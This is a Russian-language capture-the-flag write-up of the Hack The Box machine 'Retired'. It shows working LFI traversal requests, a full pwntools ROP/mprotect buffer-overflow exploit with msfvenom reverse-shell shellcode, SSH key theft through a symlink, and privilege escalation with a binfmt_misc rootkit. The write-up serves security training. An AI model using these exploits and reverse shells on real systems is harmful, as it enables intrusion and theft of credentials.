HTB Retired. Пишем эксплоит ROP + mprotect и используем переполнение буфера
В этом райтапе мы раскрутим уязвимость локального включения файлов, что поможет нам при написании эксплоита на основе ROP + mprotect. Поборов проверку лицензии, мы повысим привилегии при помощи руткита binfmt_misc. Препарировать будем машину Retired с площадки Hack The Box. Задачка классифицирована как сложная, хотя я бы так не сказал.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Что же мы нашли? Порт 22 — служба OpenSSH 8.4p1, порт 80 — веб‑сервер Nginx. Также из результатов скана Nmap видим редирект, в котором страница передается в качестве параметра.
ТОЧКА ВХОДА
LFI
При таком запросе страниц сайта нужно сразу проверить, получится ли отобразить не тот файл, который был вставлен разработчиком. Попробуем запросить /etc/passwd
, воспользовавшись обходом каталогов.
curl 'http://retired.htb/index.php?page=/../../../../../../../etc/passwd'
Уязвимость подтверждена, поэтому перейдем к эксплуатации. Нам нужно знать, какие файлы читать, поэтому поищем на сайте скрытые страницы. Так как мы уже столкнулись с форматами PHP и HTML, то такие страницы и будем искать. Для этого воспользуемся сканером ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (я использую словари из набора SecLists);-t
— количество потоков;-u
— URL;-fc
— исключить из результата ответы с кодом 403.
ffuf -u 'http://retired.htb/FUZZ.php' -t 256 -w directory_2.3_medium_lowercase.txt
ffuf -u 'http://retired.htb/FUZZ.html' -t 256 -w directory_2.3_medium_lowercase.txt
Нашли всего одну новую страницу — beta.html
.
На странице нужно загружать файл лицензии, который будет отправлен на следующий адрес:
http://retired.htb/activate_license.php
Посмотрим, что произойдет с файлом дальше. Для этого получим код найденного обработчика.
curl 'http://retired.htb/index.php?page=activate_license.php'
Таким образом, загруженный через форму файл будет отправлен приложению, которое работает на локальном порте 1337. Попробуем выяснить, что это за приложение, с помощью LFI. Я запустил Burp Intruder и передал ему список информативных файлов из Unix.
В результате сканирования узнаем, что нам доступен в том числе и файл /proc/sched_debug
, где и находим процесс activate_license
и соответствующий ему идентификатор процесса (PID) — 487.
Зная PID процесса, мы можем получить полную командную строку, что даст нам путь к файлу.
curl 'http://retired.htb/index.php?page=/proc/487/cmdline'
Получаем полный путь к файлу обработчика, а также видим, что порт для прослушивания передается в качестве аргумента. Скачиваем этот файл на локальный хост для анализа.
wget 'http://retired.htb/index.php?page=/usr/bin/activate_license'
ТОЧКА ОПОРЫ
Переполнение буфера
Теперь перейдем к анализу приложения. Каждый выбирает для себя более удобный инструмент, но я остаюсь приверженцем IDA Pro. Закидываем бинарь в декомпилятор и ищем функцию main
.
Итак, приложение стандартным способом открывает порт, ожидает соединения и, если оно происходит и если функция fork
выполнена успешно, запускает функцию activate_license
.
В функции activate_license
происходит бесконтрольное чтение из буфера размером 512 байт.
Таким образом, мы нашли место для переполнения буфера, осталось определиться со смещением нагрузки и методом эксплуатации. Для этого нужно запустить программу в удаленном отладчике, переполнить буфер и посмотреть, на каком смещении от начала буфера будет вершина стека, когда программа упадет.
Но при отладке мы не попадаем в функцию activate_license
, поэтому мне пришлось запатчить инструкцию условного перехода (jnz
).
Теперь сгенерируем последовательность де Брёйна, которая поможет быстро определить смещение.
Отправляем эти данные нашей программе и после ошибки выполнения смотрим данные в регистре RBP
.
echo aaabaaac... | nc 127.0.0.1 1337
Конвертируем полученное значение и вычисляем смещение — 520.
Выбирать метод долго не пришлось. Мы можем получить доступ к области неисполняемой памяти.
Для успешной эксплуатации мы отправим вместе с данными шелл‑код, с помощью ROP-цепочек сделаем этот сегмент памяти исполняемым и передадим управление на шелл‑код.
Впоследствии будем дополнять следующий шаблон эксплоита.
#!/usr/bin/python3from pwn import *context.clear(arch='amd64')###########################payload = b'A' * 520r = requests.post(f"http://10.10.11.154/activate_license.php", files = { "licensefile": payload } )
ROP-цепочки
Для работы с ROP-цепочками нам потребуется карта памяти процесса с удаленного хоста, получить которую мы можем через LFI.
curl 'http://retired.htb/index.php?page=/proc/487/maps'
Для поиска ROP-цепочек нам нужно получить используемую версию libc.
curl 'http://retired.htb/index.php?page=/usr/lib/x86_64-linux-gnu/libc-2.31.so' --output libc-2.31.so
Теперь можем определиться и с самой ROP-цепочкой. Нам нужно изменить права на блок памяти, и в этом поможет функция mprotect
:
int mprotect(const void *addr, size_t len, int prot);
Функция принимает три аргумента, передавать которые мы будем инструкциями pop rdi
, pop rsi
и pop rdx
. Проверить наличие соответствующих цепочек мы можем следующим образом:
from pwn import *context.clear(arch='amd64')libc = ELF("libc-2.31.so", checksec=False)rop = ROP([libc])rop.rdirop.rsirop.rdxlibc.symbols['mprotect']
Есть все данные для вызова функции mprotect
, передавать в качестве параметров мы будем адрес стека и его размер (получаем из карты памяти), третий параметр функции — новые права, используем маску rwx
(7). Вот код эксплоита на текущем этапе:
#!/usr/bin/python3from pwn import *context.clear(arch='amd64')stack_base = 0x7ffc93704000stack_size = 0x7ffc93725000 - stack_baselibc = ELF("libc-2.31.so", checksec=False)libc.address = 0x7f522503d000rop = ROP([libc])payload += p64(pop_rdi) + p64(stack_base)payload = b'A' * 520payload += p64(rop.rdi[0])payload += p64(stack_base)payload += p64(rop.rsi[0])payload += p64(stack_size)payload += p64(rop.rdx[0])payload += p64(7)payload += p64(libc.symbols['mprotect'])r = requests.post(f"http://10.10.11.154/activate_license.php", files = { "licensefile": payload } )
Шелл-код
Следующей инструкцией станет jmp
на адрес в регистре RSP (указатель стека), так как там будет расположен шелл‑код. Но найти инструкцию jmp rsp
в регистре не удалось, поэтому скачаем и проверим другие используемые библиотеки. Нужную инструкцию обнаруживаем в библиотеке libsqlite
.
curl 'http://retired.htb/index.php?page=/usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6' --output libsqlite3.so.0.8.6 libsqlite = ELF("libsqlite3.so.0.8.6", checksec=False)rop = ROP([libsqlite])rop.jmp_rsp
Сам шелл‑код сгенерируем с помощью msfvenom из Metasploit Framework.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.21 LPORT=4321 -f py
Полный код эксплоита будет следующим:
#!/usr/bin/python3from pwn import *import requestscontext.clear(arch='amd64')stack_base = 0x7ffc93704000stack_size = 0x7ffc93725000 - stack_baselibc = ELF("libc-2.31.so", checksec=False)libc.address = 0x7f522503d000libsqlite = ELF("libsqlite3.so.0.8.6", checksec=False)libsqlite.address = 0x7f5225202000rop = ROP([libc, libsqlite])buf = b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"buf += b"\x97\x48\xb9\x02\x00\x10\xe1\x0a\x0a\x0e\x15\x51\x48"buf += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"buf += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"buf += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"buf += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"payload = b'A' * 520payload += p64(rop.rdi[0])payload += p64(stack_base)payload += p64(rop.rsi[0])payload += p64(stack_size)payload += p64(rop.rdx[0])payload += p64(7)payload += p64(libc.symbols['mprotect'])payload += p64(rop.jmp_rsp[0])payload += bufr = requests.post(f"http://10.10.11.154/activate_license.php", files = { "licensefile": payload } )
Запускаем листенер на указанном при генерации шелл‑кода порте (rlwrap -cAr nc -lvp 4321
) и выполняем эксплоит.
ПРОДВИЖЕНИЕ
Мы получили доступ к хосту, теперь необходимо собрать информацию. Рыться в системе можно долго, поэтому используем скрипт PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Скрипт находит много интересного в разделе с бэкапами: какой‑то пользовательский файл /usr/bin/webbackup
, службу website_backup
, а также таймер для этой службы. Глянем, что собой представляет пользовательский файл.
Это скрипт на Bash, поэтому просмотрим его исходный код.
Этот сценарий должен архивировать при помощи zip
все содержимое каталога /var/www/html
и сохранять результат в /var/www/
. При этом найденная служба, скорее всего, запускает скрипт раз в минуту.
Подобные задания на Hack The Box не новы, и заядлые «игроки» знают, что делать в данном случае: создавать символическую ссылку на другой файл. Тогда при обработке этой ссылки будут произведены операции с самим файлом. Создадим в каталоге /var/www/html
ссылку на приватный ключ пользователя.
ln -s /home/dev/.ssh/id_rsa id_rsa
Теперь дождемся срабатывания скрипта, разархивируем только что созданный архив и заберем желанный ключ.
И, подключившись с полученным ключом, забираем флаг пользователя.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
В домашнем каталоге пользователя находим интересный проект emuemu
.
Файл из этого проекта уже был упомянут в выводе LinPEAS в разделе Linux capabilities. Но сначала пару слов о том, что же это такое.
В Linux пользователь root получает особый контекст при запуске любых процессов. Так, ядро и приложения, работающие от имени root, обычно пропускают любые ограничения, заданные на действия в определенном контексте, поэтому root может делать все, что захочет. Но что, если процессу, который работает в непривилегированном контексте, нужно выполнить требующее привилегий действие, не повышая уровня прав?
Например, бывает нужно разрешить процессу записывать в журнал аудита ядра, но не позволять отключить этот аудит. Ведь если запустить этот процесс в контексте рута, он сможет выполнить оба действия!
Тут на помощь и приходят Linux capabilities. Эти «возможности» предоставляют процессу не все множество привилегий, а какое‑то его подмножество. Другими словами, все привилегии рута разбиваются на более мелкие независимые друг от друга привилегии и процесс получает только те, которые ему нужны.
В данном случае активирована привилегия cap_dac_override
, которая позволяет обойти проверку прав на запись для любого файла, то есть дает возможность записывать данные в абсолютно любой файл.
Теперь перейдем к самому приложению, благо есть даже исходные коды. Так, в файле reg_helper.c
происходит запись в /proc/sys/fs/binfmt_misc/register
.
Поскольку в binfmt_misc
записывается подконтрольный нам ввод, мы можем использовать готовый эксплоит, чтобы запустить руткит и получить контроль над системой. Но в файл эксплоита нужно внести несколько изменений:
Выполняем наш файл и получаем привилегированную командную оболочку.